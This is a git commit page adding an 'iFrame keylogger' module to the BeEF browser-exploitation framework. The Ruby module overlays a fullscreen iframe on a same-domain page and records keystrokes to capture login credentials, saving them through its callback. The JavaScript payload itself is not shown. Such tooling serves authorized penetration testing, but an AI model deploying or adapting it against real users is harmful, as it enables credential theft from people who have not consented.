Added iFrame keylogger module: given a same-domain resource, creates a fullscreen overlay iframe, and attach a keylogger to it.
git-svn-id: https://beef.googlecode.com/svn/trunk@1082 b87d56ec-f9c0-11de-8c8a-61c5e9addfc9
This commit is contained in:
54
modules/persistence/iframe_keylogger/module.rb
Normal file
54
modules/persistence/iframe_keylogger/module.rb
Normal file
@@ -0,0 +1,54 @@
|
||||
#
|
||||
# Copyright 2011 Wade Alcorn wade@bindshell.net
|
||||
#
|
||||
# Licensed under the Apache License, Version 2.0 (the "License");
|
||||
# you may not use this file except in compliance with the License.
|
||||
# You may obtain a copy of the License at
|
||||
#
|
||||
# http://www.apache.org/licenses/LICENSE-2.0
|
||||
#
|
||||
# Unless required by applicable law or agreed to in writing, software
|
||||
# distributed under the License is distributed on an "AS IS" BASIS,
|
||||
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
|
||||
# See the License for the specific language governing permissions and
|
||||
# limitations under the License.
|
||||
#
|
||||
class Iframe_keylogger < BeEF::Core::Command
|
||||
|
||||
#
|
||||
# Defines and set up the command module.
|
||||
#
|
||||
def initialize
|
||||
super({
|
||||
'Name' => 'iFrame keylogger',
|
||||
'Description' => 'Creates a 100% by 100% iFrame overlay displaying the choosen resource, and add JS keylogging capabilities on that iFrame. Useful to grab same-domain login page credentials.',
|
||||
'Category' => 'Misc',
|
||||
'Author' => 'antisnatchor',
|
||||
'Data' => [
|
||||
{'name' => 'iFrameSrc', 'ui_label'=>'iFrame Src', 'type' => 'textarea', 'value' =>'/demos/secret_page.html', 'width' => '400px', 'height' => '50px'},
|
||||
{'name' => 'sendBackInterval', 'ui_label' => 'Send Back Interval (ms)', 'value' => '2000', 'width'=>'100px' }
|
||||
|
||||
],
|
||||
'File' => __FILE__
|
||||
})
|
||||
|
||||
# works in every latest browser (IE8, Firefox 5, Chrome 12, Safari 5) except Opera
|
||||
set_target({
|
||||
'verified_status' => VERIFIED_WORKING,
|
||||
'browser_name' => ALL
|
||||
})
|
||||
set_target({
|
||||
'verified_status' => VERIFIED_NOT_WORKING,
|
||||
'browser_name' => O
|
||||
})
|
||||
|
||||
use_template!
|
||||
end
|
||||
|
||||
def callback
|
||||
content = {}
|
||||
content['keystrokes'] = @datastore['keystrokes']
|
||||
save content
|
||||
end
|
||||
|
||||
end
|
||||
Reference in New Issue
Block a user